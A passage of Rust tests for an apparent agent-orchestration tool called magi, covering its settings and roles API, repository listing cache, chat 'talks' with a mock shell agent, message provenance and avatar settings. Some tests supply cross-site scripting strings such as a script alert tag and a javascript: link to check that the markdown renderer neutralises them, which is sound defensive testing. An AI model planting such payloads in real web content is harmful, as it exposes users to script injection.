14364            "revision": rev,
14365            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14366        })
14367        .to_string();
14368        let res = f.put("/api/settings/roles", &body).await;
14369        assert_eq!(res.status, 200, "{}", res.body);
14370        let text = std::fs::read_to_string(&machine).expect("machine");
14371        assert_eq!(
14372            text,
14373            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14374        );
14375        assert_eq!(
14376            std::fs::read(repo.join("magi.toml")).expect("read"),
14377            repo_before
14378        );
14379        let again = f.get("/api/settings").await.json();
14380        let judges = again["roles"]
14381            .as_array()
14382            .expect("roles")
14383            .iter()
14384            .find(|r| r["key"] == "judges")
14385            .expect("judges")
14386            .clone();
14387        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14388        // The old revision is now stale.
14389        let stale = f.put("/api/settings/roles", &body).await;
14390        assert_eq!(stale.status, 409, "{}", stale.body);
14391    }
14392
14393    #[tokio::test]
14394    async fn settings_counts_are_reported_and_saved() {
14395        let (_tmp, repo, machine) = settings_dirs(
14396            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14397            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14398        );
14399        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14400        let v = f.get("/api/settings").await.json();
14401        let count = |v: &serde_json::Value, k: &str| {
14402            v["roles"]
14403                .as_array()
14404                .and_then(|r| r.iter().find(|x| x["key"] == k))
14405                .map(|x| x["count"].clone())
14406                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14407        };
14408        let imp = count(&v, "implementers");
14409        assert_eq!(imp["value"], 2);
14410        assert_eq!(imp["source"], "machine");
14411        assert_eq!(imp["file_key"], "candidates");
14412        assert_eq!(imp["roster_len"], 2);
14413        assert_eq!(imp["backups"], 0);
14414        assert_eq!(count(&v, "judges")["source"], "default");
14415        assert_eq!(count(&v, "advisors")["min"], 0);
14416        assert_eq!(count(&v, "reviewers")["editable"], false);
14417        assert!(
14418            count(&v, "reviewers")["locked_reason"]
14419                .as_str()
14420                .is_some_and(|m| m.contains("graph.reviewers"))
14421        );
14422        assert!(count(&v, "fixer").is_null());
14423        let rev = v["revision"].as_str().expect("revision").to_owned();
14424        let body = serde_json::json!({
14425            "revision": rev,
14426            "roles": { "judges": ["b"] },
14427            "counts": { "implementers": 1, "advisors": 0 }
14428        })
14429        .to_string();
14430        let res = f.put("/api/settings/roles", &body).await;
14431        assert_eq!(res.status, 200, "{}", res.body);
14432        let text = std::fs::read_to_string(&machine).expect("machine");
14433        assert_eq!(
14434            text,
14435            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14436        );
14437        let after = f.get("/api/settings").await.json();
14438        assert_eq!(count(&after, "implementers")["value"], 1);
14439        assert_eq!(count(&after, "implementers")["backups"], 1);
14440        assert_eq!(count(&after, "advisors")["value"], 0);
14441        let before = std::fs::read_to_string(&machine).expect("machine");
14442        let rev = after["revision"].as_str().expect("revision").to_owned();
14443        for counts in [
14444            serde_json::json!({ "judges": 0 }),
14445            serde_json::json!({ "judges": "x" }),
14446            serde_json::json!({ "judges": 2.5 }),
14447            serde_json::json!({ "judges": -1 }),
14448            serde_json::json!({ "reviewers": 3 }),
14449            serde_json::json!({ "bogus": 3 }),
14450        ] {
14451            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14452            let res = f.put("/api/settings/roles", &body).await;
14453            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14454            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14455        }
14456    }
14457
14458    #[tokio::test]
14459    async fn settings_put_refuses_without_touching_the_file() {
14460        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14461        let (_tmp, repo, machine) = settings_dirs(
14462            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14463            Some(machine_text),
14464        );
14465        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14466        let rev = f.get("/api/settings").await.json()["revision"]
14467            .as_str()
14468            .expect("revision")
14469            .to_owned();
14470        for roles in [
14471            serde_json::json!({ "judges": ["nope"] }),
14472            serde_json::json!({ "reviewers": ["b"] }),
14473            serde_json::json!({ "bogus": ["a"] }),
14474        ] {
14475            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14476            let res = f.put("/api/settings/roles", &body).await;
14477            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14478            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14479            assert_eq!(
14480                std::fs::read_to_string(&machine).expect("machine"),
14481                machine_text
14482            );
14483        }
14484    }
14485
14486    #[tokio::test]
14487    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14488        let tmp = TempDir::new().expect("tempdir");
14489        let repo = tmp.path().join("repo");
14490        std::fs::create_dir_all(&repo).expect("repo dir");
14491        let root = tmp.path().join("root");
14492        make_checkout(&root, "github.com", "yukimemi", "magi");
14493        std::fs::write(
14494            repo.join("magi.toml"),
14495            format!(
14496                "[repos]\nroots = [{:?}]\n",
14497                root.to_string_lossy().into_owned()
14498            ),
14499        )
14500        .expect("write magi.toml");
14501
14502        let f = Fixture::with_repo(repo).await;
14503        let res = f.get("/api/repos").await;
14504        assert_eq!(res.status, 200, "{}", res.body);
14505        let list = res.json();
14506        let repos = list.as_array().expect("an array");
14507        assert_eq!(repos.len(), 1);
14508        assert_eq!(repos[0]["name"], "yukimemi/magi");
14509        assert!(
14510            repos[0]["path"]
14511                .as_str()
14512                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14513            "{list}"
14514        );
14515    }
14516
14517    #[tokio::test]
14518    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14519        let tmp = TempDir::new().expect("tempdir");
14520        let repo = tmp.path().join("repo");
14521        std::fs::create_dir_all(&repo).expect("repo dir");
14522        let root = tmp.path().join("root");
14523        make_checkout(&root, "github.com", "yukimemi", "magi");
14524        std::fs::write(
14525            repo.join("magi.toml"),
14526            format!(
14527                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14528                root.to_string_lossy().into_owned()
14529            ),
14530        )
14531        .expect("write magi.toml");
14532
14533        let f = Fixture::with_repo(repo).await;
14534        let first = f.get("/api/repos").await;
14535        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14536
14537        // A second checkout appears; within the TTL the cached answer must
14538        // not notice it.
14539        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14540        let second = f.get("/api/repos").await;
14541        assert_eq!(
14542            second.json().as_array().map(Vec::len),
14543            Some(1),
14544            "a fresh cache must not rescan inside the TTL"
14545        );
14546
14547        let refreshed = f.get("/api/repos?refresh=1").await;
14548        assert_eq!(
14549            refreshed.json().as_array().map(Vec::len),
14550            Some(2),
14551            "an explicit refresh must rescan even inside the TTL"
14552        );
14553    }
14554
14555    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14556    /// string, declared straight in a repository's own `magi.toml` rather
14557    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14558    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14559    /// this is safe to run over a real HTTP round trip.
14560    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14561
14562    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14563    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14564    /// even though it takes no turn, and `talk_say` invokes one.
14565    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14566        let tmp = TempDir::new().expect("tempdir");
14567        let repo = tmp.path().join("repo");
14568        std::fs::create_dir_all(&repo).expect("repo dir");
14569        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14570        let f = Fixture::with_repo(repo.clone()).await;
14571        (tmp, repo, f)
14572    }
14573
14574    #[tokio::test]
14575    async fn posting_a_talk_with_remembered_choices_is_soft() {
14576        let (_tmp, _repo, f) = talk_fixture().await;
14577
14578        let good = f
14579            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14580            .await;
14581        assert_eq!(good.status, 201, "{}", good.body);
14582        assert_eq!(good.json()["persona"], "rei");
14583
14584        // Wrong values and wrong types are dropped one by one, never a 4xx.
14585        let stale = f
14586            .post(
14587                "/api/talks",
14588                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14589            )
14590            .await;
14591        assert_eq!(stale.status, 201, "{}", stale.body);
14592        let v = stale.json();
14593        assert_eq!(v["implementers"], 1);
14594        assert_ne!(v["persona"], "nobody");
14595        let typed = f
14596            .post(
14597                "/api/talks",
14598                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14599            )
14600            .await;
14601        assert_eq!(typed.status, 201, "{}", typed.body);
14602
14603        // The strict `agent` field still refuses an unknown id.
14604        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14605        assert!(
14606            !strict.status.to_string().starts_with('2'),
14607            "{}",
14608            strict.body
14609        );
14610    }
14611
14612    #[tokio::test]
14613    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14614        let (_tmp, _repo, f) = talk_fixture().await;
14615
14616        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14617        // is the ordinary way a phone opens a talk.
14618        let opened = f.post("/api/talks", None).await;
14619        assert_eq!(opened.status, 201, "{}", opened.body);
14620        let body = opened.json();
14621        assert_eq!(body["status"], "open");
14622        assert_eq!(
14623            body["turns"].as_array().unwrap().len(),
14624            0,
14625            "opening takes no agent turn: there is nothing yet to answer"
14626        );
14627
14628        // An explicit empty object is the same request as none at all.
14629        let also_opened = f.post("/api/talks", Some("{}")).await;
14630        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14631
14632        let listed = f.get("/api/talks").await.json();
14633        assert_eq!(listed.as_array().unwrap().len(), 2);
14634    }
14635
14636    #[tokio::test]
14637    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14638        let tmp = TempDir::new().expect("tempdir");
14639        let repo = tmp.path().join("repo");
14640        std::fs::create_dir_all(&repo).expect("repo dir");
14641        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14642        std::fs::write(
14643            repo.join("magi.toml"),
14644            format!("{MOCK_AGENT_TOML}\n{second}"),
14645        )
14646        .expect("write magi.toml");
14647        let home = TempDir::new().expect("temp home");
14648        let talks = Talks::at(home.path().join("talks"));
14649        let ui = Arc::new(
14650            Ui::new(
14651                Queue::at(home.path().join("queue")),
14652                Questions::at(home.path().join("questions")),
14653                talks.clone(),
14654                home.path().join("runs"),
14655                home.path().to_path_buf(),
14656                repo.clone(),
14657            )
14658            .with_worktrees_root(home.path().join("wt")),
14659        );
14660        let cfg = config_for(&repo).await.expect("discover config");
14661        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14662        let id = talk.id.clone();
14663        let call = |agent: &str| {
14664            talk_agent(
14665                State(Arc::clone(&ui)),
14666                Path(id.clone()),
14667                Json(TalkAgent {
14668                    agent: agent.to_owned(),
14669                }),
14670            )
14671        };
14672
14673        let unknown = call("nobody").await.expect_err("unknown agent");
14674        assert_eq!(
14675            unknown.status,
14676            StatusCode::BAD_REQUEST,
14677            "{}",
14678            unknown.message
14679        );
14680
14681        {
14682            // Nothing refused so far took a claim, so the guard is free to take
14683            // and holding it is what makes the talk busy.
14684            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14685            let busy = call("second").await.expect_err("busy talk");
14686            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14687            assert!(
14688                busy.message.contains("a talk turn is running"),
14689                "{}",
14690                busy.message
14691            );
14692            drop(guard);
14693        }
14694        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14695
14696        let Json(view) = call("second").await.expect("switch");
14697        assert_eq!(view.talk.agent, "second");
14698        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14699        let saved = talks.get(&id).expect("reload");
14700        assert_eq!(saved.agent, "second");
14701        assert_eq!(saved.turns.len(), 1);
14702        assert!(!view.thinking);
14703        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14704        for agent in ["mock", "second"] {
14705            let Json(view) = call(agent).await.expect("immediate consecutive change");
14706            assert_eq!(view.talk.agent, agent);
14707            assert!(!view.thinking);
14708            assert!(!ui.is_thinking(&id));
14709        }
14710
14711        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14712            .await
14713            .expect("detail");
14714        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14715        assert_eq!(roster, ["mock", "second"]);
14716
14717        let mut closed = talks.get(&id).expect("reload");
14718        talk::close(&mut closed, &talks).expect("close");
14719        let refused = call("mock").await.expect_err("closed talk");
14720        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14721        assert!(
14722            refused.message.contains("takes no more turns"),
14723            "{}",
14724            refused.message
14725        );
14726    }
14727
14728    #[tokio::test]
14729    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14730        let tmp = TempDir::new().expect("tempdir");
14731        let repo = tmp.path().join("repo");
14732        std::fs::create_dir_all(&repo).expect("repo dir");
14733        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14734        let home = TempDir::new().expect("temp home");
14735        let talks = Talks::at(home.path().join("talks"));
14736        let ui = Arc::new(
14737            Ui::new(
14738                Queue::at(home.path().join("queue")),
14739                Questions::at(home.path().join("questions")),
14740                talks.clone(),
14741                home.path().join("runs"),
14742                home.path().to_path_buf(),
14743                repo.clone(),
14744            )
14745            .with_worktrees_root(home.path().join("wt")),
14746        );
14747        let cfg = config_for(&repo).await.expect("discover config");
14748        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14749        let id = talk.id.clone();
14750        let call = |n: u8| {
14751            talk_implementers(
14752                State(Arc::clone(&ui)),
14753                Path(id.clone()),
14754                Json(TalkImplementers { implementers: n }),
14755            )
14756        };
14757
14758        for bad in [0u8, 4] {
14759            let e = call(bad).await.expect_err("out of range");
14760            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14761        }
14762        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14763
14764        {
14765            // Nothing refused so far took a claim, so the guard is free to take
14766            // and holding it is what makes the talk busy.
14767            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14768            let busy = call(2).await.expect_err("busy talk");
14769            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14770            assert!(
14771                busy.message.contains("a talk turn is running"),
14772                "{}",
14773                busy.message
14774            );
14775            drop(guard);
14776        }
14777
14778        let Json(view) = call(3).await.expect("switch");
14779        assert_eq!(view.talk.implementers, 3);
14780        assert!(talks.get(&id).expect("reload").implementers_dirty);
14781        assert!(!view.thinking);
14782        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14783        for n in [1, 2, 3] {
14784            let Json(view) = call(n).await.expect("immediate consecutive change");
14785            assert_eq!(view.talk.implementers, n);
14786            assert!(!view.thinking);
14787            assert!(!ui.is_thinking(&id));
14788        }
14789
14790        let mut closed = talks.get(&id).expect("reload");
14791        talk::close(&mut closed, &talks).expect("close");
14792        let e = call(2).await.expect_err("closed talk");
14793        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14794        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14795    }
14796
14797    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14798    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14799        let tmp = TempDir::new().expect("tempdir");
14800        let repo = tmp.path().join("repo");
14801        std::fs::create_dir_all(&repo).expect("repo dir");
14802        std::fs::write(
14803            repo.join("magi.toml"),
14804            format!("{MOCK_AGENT_TOML}\n{extra}"),
14805        )
14806        .expect("write magi.toml");
14807        let home = TempDir::new().expect("temp home");
14808        let talks = Talks::at(home.path().join("talks"));
14809        let ui = Arc::new(
14810            Ui::new(
14811                Queue::at(home.path().join("queue")),
14812                Questions::at(home.path().join("questions")),
14813                talks.clone(),
14814                home.path().join("runs"),
14815                home.path().to_path_buf(),
14816                repo.clone(),
14817            )
14818            .with_worktrees_root(home.path().join("wt")),
14819        );
14820        let cfg = config_for(&repo).await.expect("discover config");
14821        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14822        (tmp, home, ui, talk.id, repo)
14823    }
14824
14825    #[tokio::test]
14826    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14827        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14828        let mut conversation = ui.talks.get(&id).unwrap();
14829        talk::record(
14830            &mut conversation,
14831            &ui.talks,
14832            "# Update on a task you filed\noperator words",
14833            vec![],
14834        )
14835        .unwrap();
14836        // Simulate an old operator record; headings do not prove authorship.
14837        conversation.turns[0].sender = None;
14838        conversation.turns[0].messages.clear();
14839        ui.talks.put(&mut conversation).unwrap();
14840        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14841        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14842        talk::drain(&mut conversation, &ui.talks).unwrap();
14843        talk::record_reply(
14844            &mut conversation,
14845            &ui.talks,
14846            "about that report",
14847            vec![],
14848            Some(talk::ReplyTarget {
14849                turn: 1,
14850                message: 1,
14851            }),
14852        )
14853        .unwrap();
14854        conversation.turns[2].messages[0]
14855            .reply
14856            .as_mut()
14857            .unwrap()
14858            .sender = None;
14859        conversation.turns.push(talk::Turn {
14860            sender: Some(talk::Sender::Persona),
14861            who: talk::Who::Agent,
14862            body: "magi: actual persona words".into(),
14863            at: Timestamp::now(),
14864            attachments: vec![],
14865            usage: None,
14866            breaks: None,
14867            messages: vec![],
14868            posted_by: None,
14869        });
14870        ui.talks.put(&mut conversation).unwrap();
14871        let view = TalkView::with_config(
14872            ui.talks.get(&id).unwrap(),
14873            false,
14874            None,
14875            &ui.home,
14876            &ui.references,
14877        );
14878        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14879        assert_eq!(
14880            view.talk.turns[1].messages[0].sender,
14881            Some(talk::Sender::Operator)
14882        );
14883        assert_eq!(
14884            view.talk.turns[1].messages[1].sender,
14885            Some(talk::Sender::Magi)
14886        );
14887        assert_eq!(
14888            view.talk.turns[2].messages[0]
14889                .reply
14890                .as_ref()
14891                .unwrap()
14892                .sender,
14893            Some(talk::Sender::Magi)
14894        );
14895        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14896        assert_eq!(view.turn_messages_md[0].len(), 1);
14897        assert!(view.turn_messages_md[0][0].is_none());
14898        assert!(view.turn_messages_md[1][0].is_none());
14899        assert!(view.turn_messages_md[1][1].is_some());
14900    }
14901
14902    #[tokio::test]
14903    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14904        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14905        let mut conversation = ui.talks.get(&id).unwrap();
14906        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14907        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14908        talk::queue_notice(
14909            &mut conversation,
14910            &ui.talks,
14911            &body,
14912            "watch:123",
14913            &|_| false,
14914            None,
14915            display.clone(),
14916        )
14917        .unwrap();
14918        assert!(
14919            !talk::queue_notice(
14920                &mut conversation,
14921                &ui.talks,
14922                &body,
14923                "watch:123",
14924                &|_| false,
14925                None,
14926                display.clone()
14927            )
14928            .unwrap()
14929        );
14930        let saved = ui.talks.get(&id).unwrap();
14931        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14932        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14933        assert!(
14934            view.talk.turns[0].messages[0].display.is_none(),
14935            "operator copy stays literal"
14936        );
14937        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14938        assert!(view.turn_messages_md[0][0].is_none());
14939        let queued_md = view.pending_messages_md[0].clone();
14940        assert_eq!(
14941            queued_md,
14942            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14943        );
14944        talk::drain(&mut conversation, &ui.talks).unwrap();
14945        talk::record_reply(
14946            &mut conversation,
14947            &ui.talks,
14948            "Explain",
14949            vec![],
14950            Some(talk::ReplyTarget {
14951                turn: 1,
14952                message: 0,
14953            }),
14954        )
14955        .unwrap();
14956        let mut saved = ui.talks.get(&id).unwrap();
14957        assert_eq!(saved.turns[1].messages[0].body, body);
14958        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14959        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14960        assert!(!reply.excerpt.contains("automatic report"));
14961        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14962        saved.turns[1].messages[0].display = None; // old MAGI send
14963        ui.talks.put(&mut saved).unwrap();
14964        let view = TalkView::with_config(
14965            ui.talks.get(&id).unwrap(),
14966            false,
14967            None,
14968            &ui.home,
14969            &ui.references,
14970        );
14971        assert_eq!(view.turn_messages_md[1][0], queued_md);
14972        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14973        assert!(
14974            !view.talk.turns[2].messages[0]
14975                .reply
14976                .as_ref()
14977                .unwrap()
14978                .excerpt
14979                .contains("automatic report")
14980        );
14981        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14982    }
14983
14984    #[tokio::test]
14985    async fn consultation_display_hides_directives_in_queue_and_history() {
14986        for node in [
14987            "implement",
14988            crate::land::APPROVAL_NODE,
14989            crate::github_text::ASK_NODE,
14990        ] {
14991            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14992            let mut question = Question::new(
14993                "run-123".into(),
14994                node.into(),
14995                "seat-1".into(),
14996                "Which backend?".into(),
14997                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14998                vec!["SQLite".into(), "Redis".into()],
14999            );
15000            ui.questions.put(&mut question).unwrap();
15001            let body = crate::prompt::chat_consult(&question);
15002            let mut conversation = ui.talks.get(&id).unwrap();
15003            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15004            assert!(
15005                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15006            );
15007            conversation = ui.talks.get(&id).unwrap();
15008            assert_eq!(conversation.pending_messages[0].body, body);
15009            assert!(body.contains("magi answer"));
15010            let mut legacy_pending = conversation.clone();
15011            legacy_pending.pending_messages[0].display = None;
15012            let legacy_view =
15013                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15014            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15015            assert!(legacy_md.contains("Question consultation"));
15016            assert!(!legacy_md.contains("magi answer"));
15017            let view =
15018                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15019            assert!(
15020                view.turn_messages_md[0][0].is_none(),
15021                "operator copy stays literal"
15022            );
15023            let queued_md = view.pending_messages_md[0].clone().unwrap();
15024            let rendered = serde_json::to_string(&queued_md).unwrap();
15025            for visible in [
15026                "Which backend?",
15027                "Context",
15028                "storage",
15029                "SQLite",
15030                "Redis",
15031                "<script>literal</script>",
15032            ] {
15033                assert!(rendered.contains(visible), "missing {visible}");
15034            }
15035            for directive in [
15036                "What to do",
15037                "magi answer",
15038                "Never answer it yourself",
15039                "Do not edit the repository",
15040            ] {
15041                assert!(!rendered.contains(directive), "exposed {directive}");
15042            }
15043            assert_eq!(
15044                view.talk.pending_messages[0].display,
15045                Some(crate::prompt::chat_consult_display(&question))
15046            );
15047            talk::drain(&mut conversation, &ui.talks).unwrap();
15048            let view =
15049                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15050            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15051            assert_eq!(conversation.turns[1].messages[0].body, body);
15052
15053            // Historical consultations lack a snapshot: show a safe placeholder
15054            // rather than parsing instructions or reconstructing mutable facts.
15055            conversation.turns[1].messages[0].display = None;
15056            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15057            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15058            assert!(legacy.contains("Question consultation"));
15059            assert!(!legacy.contains("magi answer"));
15060            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15061        }
15062    }
15063
15064    #[test]
15065    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15066        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15067        let (body, mut display) =
15068            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15069        display.facts = facts.into();
15070        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15071        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15072        let json = serde_json::to_string(&nodes).unwrap();
15073        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15074            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15075        }
15076        assert!(json.contains("<script>alert(1)</script>"));
15077        assert!(!json.contains("javascript:"));
15078        assert!(!json.contains("Tell the operator"));
15079        assert!(!json.contains("untrusted"));
15080        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15081        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15082        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15083        assert_eq!(
15084            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15085            md::to_nodes("# Status", &md::ImageBase::None),
15086        );
15087    }
15088
15089    #[tokio::test]
15090    async fn notification_display_recovers_exact_legacy_completion_references() {
15091        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15092        let mut conversation = ui.talks.get(&id).unwrap();
15093        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15094            id: "task-123",
15095            title: "Change",
15096            status: "done",
15097            reason: None,
15098            run: Some("run-123"),
15099            pr: None,
15100            summary: Some("Merge state unknown"),
15101        });
15102        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15103        conversation.turns[0].sender = None;
15104        conversation.turns[0].messages.clear();
15105        conversation.turns[0].breaks = None;
15106        conversation.pending = body.clone();
15107        conversation
15108            .completion_notices
15109            .push(crate::chat_notify::CompletionReference {
15110                task: "task-123".into(),
15111                run: Some("run-123".into()),
15112                notice: body.clone(),
15113            });
15114        ui.talks.put(&mut conversation).unwrap();
15115        let view = TalkView::with_config(
15116            ui.talks.get(&id).unwrap(),
15117            false,
15118            None,
15119            &ui.home,
15120            &ui.references,
15121        );
15122        assert_eq!(
15123            view.talk.turns[0].messages[0].display,
15124            Some(display.clone())
15125        );
15126        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15127        assert_eq!(
15128            view.talk.turns[0].messages[0].sender,
15129            Some(talk::Sender::Magi)
15130        );
15131        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15132        conversation.completion_notices[0]
15133            .notice
15134            .push_str("different");
15135        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15136        assert!(view.talk.turns[0].messages.is_empty());
15137        assert!(view.talk.pending_messages.is_empty());
15138    }
15139
15140    #[tokio::test]
15141    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15142        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15143        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15144            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15145        ))
15146        .await;
15147        let path = avatar_setting_path(home.path(), Some("rei"));
15148        let orphan = avatar_setting_path(home.path(), Some("removed"));
15149        save_icon_file(&orphan, icon).unwrap();
15150        for (saved, expected) in [
15151            (icon, "custom"),
15152            ("builtin", "builtin"),
15153            ("data:image/png;base64,!!!!", "inherit"),
15154            ("data:image/png;base64,PGh0bWw+", "inherit"),
15155            ("/tmp/avatar.png", "inherit"),
15156        ] {
15157            atomic_icon_write(&path, saved).unwrap();
15158            let catalog =
15159                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15160                    .await
15161                    .unwrap()
15162                    .0;
15163            let personas = catalog["personas"].as_array().unwrap();
15164            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15165            assert_eq!(rei["override_state"], expected);
15166            assert_eq!(rei["has_config_icon"], true);
15167            assert_eq!(rei["is_orphan"], false);
15168            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15169            assert_eq!(removed["override_state"], "custom");
15170            assert_eq!(removed["is_orphan"], true);
15171            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15172            assert_eq!(default["override_state"], "inherit");
15173            assert_eq!(default["has_config_icon"], false);
15174            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15175            assert_eq!(
15176                effective.as_deref(),
15177                Some(if expected == "builtin" { "" } else { icon })
15178            );
15179        }
15180    }
15181
15182    #[tokio::test]
15183    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15184        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15185        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15186            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15187        ))
15188        .await;
